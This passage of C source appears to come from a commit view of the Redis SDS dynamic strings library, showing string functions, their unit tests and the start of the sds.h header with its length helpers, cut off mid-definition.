sds sdsRemoveFreeSpace(sds s) {
void *sh, *newsh;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
size_t len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
type = sdsReqType(len);
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+len+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
newsh = s_malloc(hdrlen+len+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, len);
return s;
}
/* Return the total size of the allocation of the specifed sds string,
* including:
* 1) The sds header before the pointer.
* 2) The string.
* 3) The free buffer at the end if any.
* 4) The implicit null term.
*/
size_t sdsAllocSize(sds s) {
size_t alloc = sdsalloc(s);
return sdsHdrSize(s[-1])+alloc+1;
}
/* Return the pointer of the actual SDS allocation (normally SDS strings
* are referenced by the start of the string buffer). */
void *sdsAllocPtr(sds s) {
return (void*) (s-sdsHdrSize(s[-1]));
}
/* Increment the sds length and decrements the left free space at the
* end of the string according to 'incr'. Also set the null term
* in the new end of the string.
*
* This function is used in order to fix the string length after the
* user calls sdsMakeRoomFor(), writes something after the end of
* the current string, and finally needs to set the new length.
*
* Note: it is possible to use a negative increment in order to
* right-trim the string.
*
* Usage example:
*
* Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
* following schema, to cat bytes coming from the kernel to the end of an
* sds string without copying into an intermediate buffer:
*
* oldlen = sdslen(s);
* s = sdsMakeRoomFor(s, BUFFER_SIZE);
* nread = read(fd, s+oldlen, BUFFER_SIZE);
* ... check for nread <= 0 and handle it ...
* sdsIncrLen(s, nread);
*/
void sdsIncrLen(sds s, int incr) {
unsigned char flags = s[-1];
size_t len;
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char oldlen = SDS_TYPE_5_LEN(flags);
assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
*fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
len = oldlen+incr;
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
len = (sh->len += incr);
break;
}
default: len = 0; /* Just to avoid compilation warnings. */
}
s[len] = '\0';
}
/* Grow the sds to have the specified length. Bytes that were not part of
* the original length of the sds will be set to zero.
*
* if the specified length is smaller than the current length, no operation
* is performed. */
sds sdsgrowzero(sds s, size_t len) {
size_t curlen = sdslen(s);
if (len <= curlen) return s;
s = sdsMakeRoomFor(s,len-curlen);
if (s == NULL) return NULL;
/* Make sure added region doesn't contain garbage */
memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
sdssetlen(s, len);
return s;
}
/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
* end of the specified sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatlen(sds s, const void *t, size_t len) {
size_t curlen = sdslen(s);
s = sdsMakeRoomFor(s,len);
if (s == NULL) return NULL;
memcpy(s+curlen, t, len);
sdssetlen(s, curlen+len);
s[curlen+len] = '\0';
return s;
}
/* Append the specified null termianted C string to the sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscat(sds s, const char *t) {
return sdscatlen(s, t, strlen(t));
}
/* Append the specified sds 't' to the existing sds 's'.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatsds(sds s, const sds t) {
return sdscatlen(s, t, sdslen(t));
}
/* Destructively modify the sds string 's' to hold the specified binary
* safe string pointed by 't' of length 'len' bytes. */
sds sdscpylen(sds s, const char *t, size_t len) {
if (sdsalloc(s) < len) {
s = sdsMakeRoomFor(s,len-sdslen(s));
if (s == NULL) return NULL;
}
memcpy(s, t, len);
s[len] = '\0';
sdssetlen(s, len);
return s;
}
/* Like sdscpylen() but 't' must be a null-termined string so that the length
* of the string is obtained with strlen(). */
sds sdscpy(sds s, const char *t) {
return sdscpylen(s, t, strlen(t));
}
/* Helper for sdscatlonglong() doing the actual number -> string
* conversion. 's' must point to a string with room for at least
* SDS_LLSTR_SIZE bytes.
*
* The function returns the length of the null-terminated string
* representation stored at 's'. */
#define SDS_LLSTR_SIZE 21
int sdsll2str(char *s, long long value) {
char *p, aux;
unsigned long long v;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
v = (value < 0) ? -value : value;
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
if (value < 0) *p++ = '-';
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Identical sdsll2str(), but for unsigned long long type. */
int sdsull2str(char *s, unsigned long long v) {
char *p, aux;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Create an sds string from a long long value. It is much faster than:
*
* sdscatprintf(sdsempty(),"%lld\n", value);
*/
sds sdsfromlonglong(long long value) {
char buf[SDS_LLSTR_SIZE];
int len = sdsll2str(buf,value);
return sdsnewlen(buf,len);
}
/* Like sdscatprintf() but gets va_list instead of being variadic. */
sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
va_list cpy;
char staticbuf[1024], *buf = staticbuf, *t;
size_t buflen = strlen(fmt)*2;
/* We try to start using a static buffer for speed.
* If not possible we revert to heap allocation. */
if (buflen > sizeof(staticbuf)) {
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
} else {
buflen = sizeof(staticbuf);
}
/* Try with buffers two times bigger every time we fail to
* fit the string in the current buffer size. */
while(1) {
buf[buflen-2] = '\0';
va_copy(cpy,ap);
vsnprintf(buf, buflen, fmt, cpy);
va_end(cpy);
if (buf[buflen-2] != '\0') {
if (buf != staticbuf) s_free(buf);
buflen *= 2;
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
continue;
}
break;
}
/* Finally concat the obtained string to the SDS string and return it. */
t = sdscat(s, buf);
if (buf != staticbuf) s_free(buf);
return t;
}
/* Append to the sds string 's' a string obtained using printf-alike format
* specifier.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("Sum is: ");
* s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
*
* Often you need to create a string from scratch with the printf-alike
* format. When this is the need, just use sdsempty() as the target string:
*
* s = sdscatprintf(sdsempty(), "... your format ...", args);
*/
sds sdscatprintf(sds s, const char *fmt, ...) {
va_list ap;
char *t;
va_start(ap, fmt);
t = sdscatvprintf(s,fmt,ap);
va_end(ap);
return t;
}
/* This function is similar to sdscatprintf, but much faster as it does
* not rely on sprintf() family functions implemented by the libc that
* are often very slow. Moreover directly handling the sds string as
* new data is concatenated provides a performance improvement.
*
* However this function only handles an incompatible subset of printf-alike
* format specifiers:
*
* %s - C String
* %S - SDS string
* %i - signed int
* %I - 64 bit signed integer (long long, int64_t)
* %u - unsigned int
* %U - 64 bit unsigned integer (unsigned long long, uint64_t)
* %% - Verbatim "%" character.
*/
sds sdscatfmt(sds s, char const *fmt, ...) {
size_t initlen = sdslen(s);
const char *f = fmt;
int i;
va_list ap;
va_start(ap,fmt);
f = fmt; /* Next format specifier byte to process. */
i = initlen; /* Position of the next byte to write to dest str. */
while(*f) {
char next, *str;
size_t l;
long long num;
unsigned long long unum;
/* Make sure there is always space for at least 1 char. */
if (sdsavail(s)==0) {
s = sdsMakeRoomFor(s,1);
}
switch(*f) {
case '%':
next = *(f+1);
f++;
switch(next) {
case 's':
case 'S':
str = va_arg(ap,char*);
l = (next == 's') ? strlen(str) : sdslen(str);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,str,l);
sdsinclen(s,l);
i += l;
break;
case 'i':
case 'I':
if (next == 'i')
num = va_arg(ap,int);
else
num = va_arg(ap,long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsll2str(buf,num);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
case 'u':
case 'U':
if (next == 'u')
unum = va_arg(ap,unsigned int);
else
unum = va_arg(ap,unsigned long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsull2str(buf,unum);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
default: /* Handle %% and generally %<unknown>. */
s[i++] = next;
sdsinclen(s,1);
break;
}
break;
default:
s[i++] = *f;
sdsinclen(s,1);
break;
}
f++;
}
va_end(ap);
/* Add null-term */
s[i] = '\0';
return s;
}
/* Remove the part of the string from left and from right composed just of
* contiguous characters found in 'cset', that is a null terminted C string.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("AA...AA.a.aa.aHelloWorld :::");
* s = sdstrim(s,"Aa. :");
* printf("%s\n", s);
*
* Output will be just "Hello World".
*/
sds sdstrim(sds s, const char *cset) {
char *start, *end, *sp, *ep;
size_t len;
sp = start = s;
ep = end = s+sdslen(s)-1;
while(sp <= end && strchr(cset, *sp)) sp++;
while(ep > sp && strchr(cset, *ep)) ep--;
len = (sp > ep) ? 0 : ((ep-sp)+1);
if (s != sp) memmove(s, sp, len);
s[len] = '\0';
sdssetlen(s,len);
return s;
}
/* Turn the string into a smaller (or equal) string containing only the
* substring specified by the 'start' and 'end' indexes.
*
* start and end can be negative, where -1 means the last character of the
* string, -2 the penultimate character, and so forth.
*
* The interval is inclusive, so the start and end characters will be part
* of the resulting string.
*
* The string is modified in-place.
*
* Example:
*
* s = sdsnew("Hello World");
* sdsrange(s,1,-1); => "ello World"
*/
void sdsrange(sds s, int start, int end) {
size_t newlen, len = sdslen(s);
if (len == 0) return;
if (start < 0) {
start = len+start;
if (start < 0) start = 0;
}
if (end < 0) {
end = len+end;
if (end < 0) end = 0;
}
newlen = (start > end) ? 0 : (end-start)+1;
if (newlen != 0) {
if (start >= (signed)len) {
newlen = 0;
} else if (end >= (signed)len) {
end = len-1;
newlen = (start > end) ? 0 : (end-start)+1;
}
} else {
start = 0;
}
if (start && newlen) memmove(s, s+start, newlen);
s[newlen] = 0;
sdssetlen(s,newlen);
}
/* Apply tolower() to every character of the sds string 's'. */
void sdstolower(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = tolower(s[j]);
}
/* Apply toupper() to every character of the sds string 's'. */
void sdstoupper(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = toupper(s[j]);
}
/* Compare two sds strings s1 and s2 with memcmp().
*
* Return value:
*
* positive if s1 > s2.
* negative if s1 < s2.
* 0 if s1 and s2 are exactly the same binary string.
*
* If two strings share exactly the same prefix, but one of the two has
* additional characters, the longer string is considered to be greater than
* the smaller one. */
int sdscmp(const sds s1, const sds s2) {
size_t l1, l2, minlen;
int cmp;
l1 = sdslen(s1);
l2 = sdslen(s2);
minlen = (l1 < l2) ? l1 : l2;
cmp = memcmp(s1,s2,minlen);
if (cmp == 0) return l1-l2;
return cmp;
}
/* Split 's' with separator in 'sep'. An array
* of sds strings is returned. *count will be set
* by reference to the number of tokens returned.
*
* On out of memory, zero length string, zero length
* separator, NULL is returned.
*
* Note that 'sep' is able to split a string using
* a multi-character separator. For example
* sdssplit("foo_-_bar","_-_"); will return two
* elements "foo" and "bar".
*
* This version of the function is binary-safe but
* requires length arguments. sdssplit() is just the
* same function but for zero-terminated strings.
*/
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
int elements = 0, slots = 5, start = 0, j;
sds *tokens;
if (seplen < 1 || len < 0) return NULL;
tokens = s_malloc(sizeof(sds)*slots);
if (tokens == NULL) return NULL;
if (len == 0) {
*count = 0;
return tokens;
}
for (j = 0; j < (len-(seplen-1)); j++) {
/* make sure there is room for the next element and the final one */
if (slots < elements+2) {
sds *newtokens;
slots *= 2;
newtokens = s_realloc(tokens,sizeof(sds)*slots);
if (newtokens == NULL) goto cleanup;
tokens = newtokens;
}
/* search the separator */
if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
tokens[elements] = sdsnewlen(s+start,j-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
start = j+seplen;
j = j+seplen-1; /* skip the separator */
}
}
/* Add the final element. We are sure there is room in the tokens array. */
tokens[elements] = sdsnewlen(s+start,len-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
*count = elements;
return tokens;
cleanup:
{
int i;
for (i = 0; i < elements; i++) sdsfree(tokens[i]);
s_free(tokens);
*count = 0;
return NULL;
}
}
/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
void sdsfreesplitres(sds *tokens, int count) {
if (!tokens) return;
while(count--)
sdsfree(tokens[count]);
s_free(tokens);
}
/* Append to the sds string "s" an escaped string representation where
* all the non-printable characters (tested with isprint()) are turned into
* escapes in the form "\n\r\a...." or "\x<hex-number>".
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatrepr(sds s, const char *p, size_t len) {
s = sdscatlen(s,"\"",1);
while(len--) {
switch(*p) {
case '\\':
case '"':
s = sdscatprintf(s,"\\%c",*p);
break;
case '\n': s = sdscatlen(s,"\\n",2); break;
case '\r': s = sdscatlen(s,"\\r",2); break;
case '\t': s = sdscatlen(s,"\\t",2); break;
case '\a': s = sdscatlen(s,"\\a",2); break;
case '\b': s = sdscatlen(s,"\\b",2); break;
default:
if (isprint(*p))
s = sdscatprintf(s,"%c",*p);
else
s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
break;
}
p++;
}
return sdscatlen(s,"\"",1);
}
/* Helper function for sdssplitargs() that returns non zero if 'c'
* is a valid hex digit. */
int is_hex_digit(char c) {
return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
(c >= 'A' && c <= 'F');
}
/* Helper function for sdssplitargs() that converts a hex digit into an
* integer from 0 to 15 */
int hex_digit_to_int(char c) {
switch(c) {
case '0': return 0;
case '1': return 1;
case '2': return 2;
case '3': return 3;
case '4': return 4;
case '5': return 5;
case '6': return 6;
case '7': return 7;
case '8': return 8;
case '9': return 9;
case 'a': case 'A': return 10;
case 'b': case 'B': return 11;
case 'c': case 'C': return 12;
case 'd': case 'D': return 13;
case 'e': case 'E': return 14;
case 'f': case 'F': return 15;
default: return 0;
}
}
/* Split a line into arguments, where every argument can be in the
* following programming-language REPL-alike form:
*
* foo bar "newline are supported\n" and "\xff\x00otherstuff"
*
* The number of arguments is stored into *argc, and an array
* of sds is returned.
*
* The caller should free the resulting array of sds strings with
* sdsfreesplitres().
*
* Note that sdscatrepr() is able to convert back a string into
* a quoted string in the same format sdssplitargs() is able to parse.
*
* The function returns the allocated tokens on success, even when the
* input string is empty, or NULL if the input contains unbalanced
* quotes or closed quotes followed by non space characters
* as in: "foo"bar or "foo'
*/
sds *sdssplitargs(const char *line, int *argc) {
const char *p = line;
char *current = NULL;
char **vector = NULL;
*argc = 0;
while(1) {
/* skip blanks */
while(*p && isspace(*p)) p++;
if (*p) {
/* get a token */
int inq=0; /* set to 1 if we are in "quotes" */
int insq=0; /* set to 1 if we are in 'single quotes' */
int done=0;
if (current == NULL) current = sdsempty();
while(!done) {
if (inq) {
if (*p == '\\' && *(p+1) == 'x' &&
is_hex_digit(*(p+2)) &&
is_hex_digit(*(p+3)))
{
unsigned char byte;
byte = (hex_digit_to_int(*(p+2))*16)+
hex_digit_to_int(*(p+3));
current = sdscatlen(current,(char*)&byte,1);
p += 3;
} else if (*p == '\\' && *(p+1)) {
char c;
p++;
switch(*p) {
case 'n': c = '\n'; break;
case 'r': c = '\r'; break;
case 't': c = '\t'; break;
case 'b': c = '\b'; break;
case 'a': c = '\a'; break;
default: c = *p; break;
}
current = sdscatlen(current,&c,1);
} else if (*p == '"') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else if (insq) {
if (*p == '\\' && *(p+1) == '\'') {
p++;
current = sdscatlen(current,"'",1);
} else if (*p == '\'') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else {
switch(*p) {
case ' ':
case '\n':
case '\r':
case '\t':
case '\0':
done=1;
break;
case '"':
inq=1;
break;
case '\'':
insq=1;
break;
default:
current = sdscatlen(current,p,1);
break;
}
}
if (*p) p++;
}
/* add the token to the vector */
vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
vector[*argc] = current;
(*argc)++;
current = NULL;
} else {
/* Even on empty input string return something not NULL. */
if (vector == NULL) vector = s_malloc(sizeof(void*));
return vector;
}
}
err:
while((*argc)--)
sdsfree(vector[*argc]);
s_free(vector);
if (current) sdsfree(current);
*argc = 0;
return NULL;
}
/* Modify the string substituting all the occurrences of the set of
* characters specified in the 'from' string to the corresponding character
* in the 'to' array.
*
* For instance: sdsmapchars(mystring, "ho", "01", 2)
* will have the effect of turning the string "hello" into "0ell1".
*
* The function returns the sds string pointer, that is always the same
* as the input pointer since no resize is needed. */
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
size_t j, i, l = sdslen(s);
for (j = 0; j < l; j++) {
for (i = 0; i < setlen; i++) {
if (s[j] == from[i]) {
s[j] = to[i];
break;
}
}
}
return s;
}
/* Join an array of C strings using the specified separator (also a C string).
* Returns the result as an sds string. */
sds sdsjoin(char **argv, int argc, char *sep) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscat(join, argv[j]);
if (j != argc-1) join = sdscat(join,sep);
}
return join;
}
/* Like sdsjoin, but joins an array of SDS strings. */
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
sds join = sdsempty();
int j;
for (j = 0; j < argc; j++) {
join = sdscatsds(join, argv[j]);
if (j != argc-1) join = sdscatlen(join,sep,seplen);
}
return join;
}
/* Wrappers to the allocators used by SDS. Note that SDS will actually
* just use the macros defined into sdsalloc.h in order to avoid to pay
* the overhead of function calls. Here we define these wrappers only for
* the programs SDS is linked to, if they want to touch the SDS internals
* even if they use a different allocator. */
void *sds_malloc(size_t size) { return s_malloc(size); }
void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
void sds_free(void *ptr) { s_free(ptr); }
#if defined(SDS_TEST_MAIN)
#include <stdio.h>
#include "testhelp.h"
#include "limits.h"
#define UNUSED(x) (void)(x)
int sdsTest(void) {
{
sds x = sdsnew("foo"), y;
test_cond("Create a string and obtain the length",
sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
sdsfree(x);
x = sdsnewlen("foo",2);
test_cond("Create a string with specified length",
sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
x = sdscat(x,"bar");
test_cond("Strings concatenation",
sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
x = sdscpy(x,"a");
test_cond("sdscpy() against an originally longer string",
sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
test_cond("sdscpy() against an originally shorter string",
sdslen(x) == 33 &&
memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
sdsfree(x);
x = sdscatprintf(sdsempty(),"%d",123);
test_cond("sdscatprintf() seems working in the base case",
sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
test_cond("sdscatfmt() seems working in the base case",
sdslen(x) == 60 &&
memcmp(x,"--Hello Hi! World -9223372036854775808,"
"9223372036854775807--",60) == 0)
printf("[%s]\n",x);
sdsfree(x);
x = sdsnew("--");
x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
test_cond("sdscatfmt() seems working with unsigned numbers",
sdslen(x) == 35 &&
memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," x");
test_cond("sdstrim() works when all chars match",
sdslen(x) == 0)
sdsfree(x);
x = sdsnew(" x ");
sdstrim(x," ");
test_cond("sdstrim() works when a single char remains",
sdslen(x) == 1 && x[0] == 'x')
sdsfree(x);
x = sdsnew("xxciaoyyy");
sdstrim(x,"xy");
test_cond("sdstrim() correctly trims characters",
sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
y = sdsdup(x);
sdsrange(y,1,1);
test_cond("sdsrange(...,1,1)",
sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,-1);
test_cond("sdsrange(...,1,-1)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,-2,-1);
test_cond("sdsrange(...,-2,-1)",
sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,2,1);
test_cond("sdsrange(...,2,1)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,1,100);
test_cond("sdsrange(...,1,100)",
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
sdsfree(y);
y = sdsdup(x);
sdsrange(y,100,100);
test_cond("sdsrange(...,100,100)",
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("foo");
y = sdsnew("foa");
test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("bar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
sdsfree(y);
sdsfree(x);
x = sdsnew("aar");
y = sdsnew("bar");
test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
sdsfree(y);
sdsfree(x);
x = sdsnewlen("\a\n\0foo\r",7);
y = sdscatrepr(sdsempty(),x,sdslen(x));
test_cond("sdscatrepr(...data...)",
memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
{
unsigned int oldfree;
char *p;
int step = 10, j, i;
sdsfree(x);
sdsfree(y);
x = sdsnew("0");
test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
/* Run the test a few times in order to hit the first two
* SDS header types. */
for (i = 0; i < 10; i++) {
int oldlen = sdslen(x);
x = sdsMakeRoomFor(x,step);
int type = x[-1]&SDS_TYPE_MASK;
test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
if (type != SDS_TYPE_5) {
test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
oldfree = sdsavail(x);
}
p = x+oldlen;
for (j = 0; j < step; j++) {
p[j] = 'A'+j;
}
sdsIncrLen(x,step);
}
test_cond("sdsMakeRoomFor() content",
memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
sdsfree(x);
}
}
test_report()
return 0;
}
#endif
#ifdef SDS_TEST_MAIN
int main(void) {
return sdsTest();
}
#endif
+273
View File
@@ -0,0 +1,273 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef __SDS_H
#define __SDS_H
#define SDS_MAX_PREALLOC (1024*1024)
#include <sys/types.h>
#include <stdarg.h>
#include <stdint.h>
typedef char *sds;
/* Note: sdshdr5 is never used, we just access the flags byte directly.
* However is here to document the layout of type 5 SDS strings. */
struct __attribute__ ((__packed__)) sdshdr5 {
unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr8 {
uint8_t len; /* used */
uint8_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr16 {
uint16_t len; /* used */
uint16_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr32 {
uint32_t len; /* used */
uint32_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
struct __attribute__ ((__packed__)) sdshdr64 {
uint64_t len; /* used */
uint64_t alloc; /* excluding the header and null terminator */
unsigned char flags; /* 3 lsb of type, 5 unused bits */
char buf[];
};
#define SDS_TYPE_5 0
#define SDS_TYPE_8 1
#define SDS_TYPE_16 2
#define SDS_TYPE_32 3
#define SDS_TYPE_64 4
#define SDS_TYPE_MASK 7
#define SDS_TYPE_BITS 3
#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
static inline size_t sdslen(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return SDS_TYPE_5_LEN(flags);
case SDS_TYPE_8:
return SDS_HDR(8,s)->len;
case SDS_TYPE_16:
return SDS_HDR(16,s)->len;
case SDS_TYPE_32:
return SDS_HDR(32,s)->len;
case SDS_TYPE_64:
return SDS_HDR(64,s)->len;
}
return 0;
}
static inline size_t sdsavail(const sds s) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
return 0;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
return sh->alloc - sh->len;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
return sh->alloc - sh->len;
}
}
return 0;
}
static inline void sdssetlen(sds s, size_t newlen) {
unsigned char flags = s[-1];
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5:
{
unsigned char *fp = ((unsigned char*)s)-1;
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
}
break;
case SDS_TYPE_8:
SDS_HDR(8,s)->len = newlen;
break;
case SDS_TYPE_16:
SDS_HDR(16,s)->len = newlen;
break;
case SDS_TYPE_32:
SDS_HDR(32,s)->len = newlen;
break;
case SDS_TYPE_64:
SDS_HDR(64,s)->len = newlen;
break;
}
}
static inline void sdsinclen(sds s, size_t inc) {
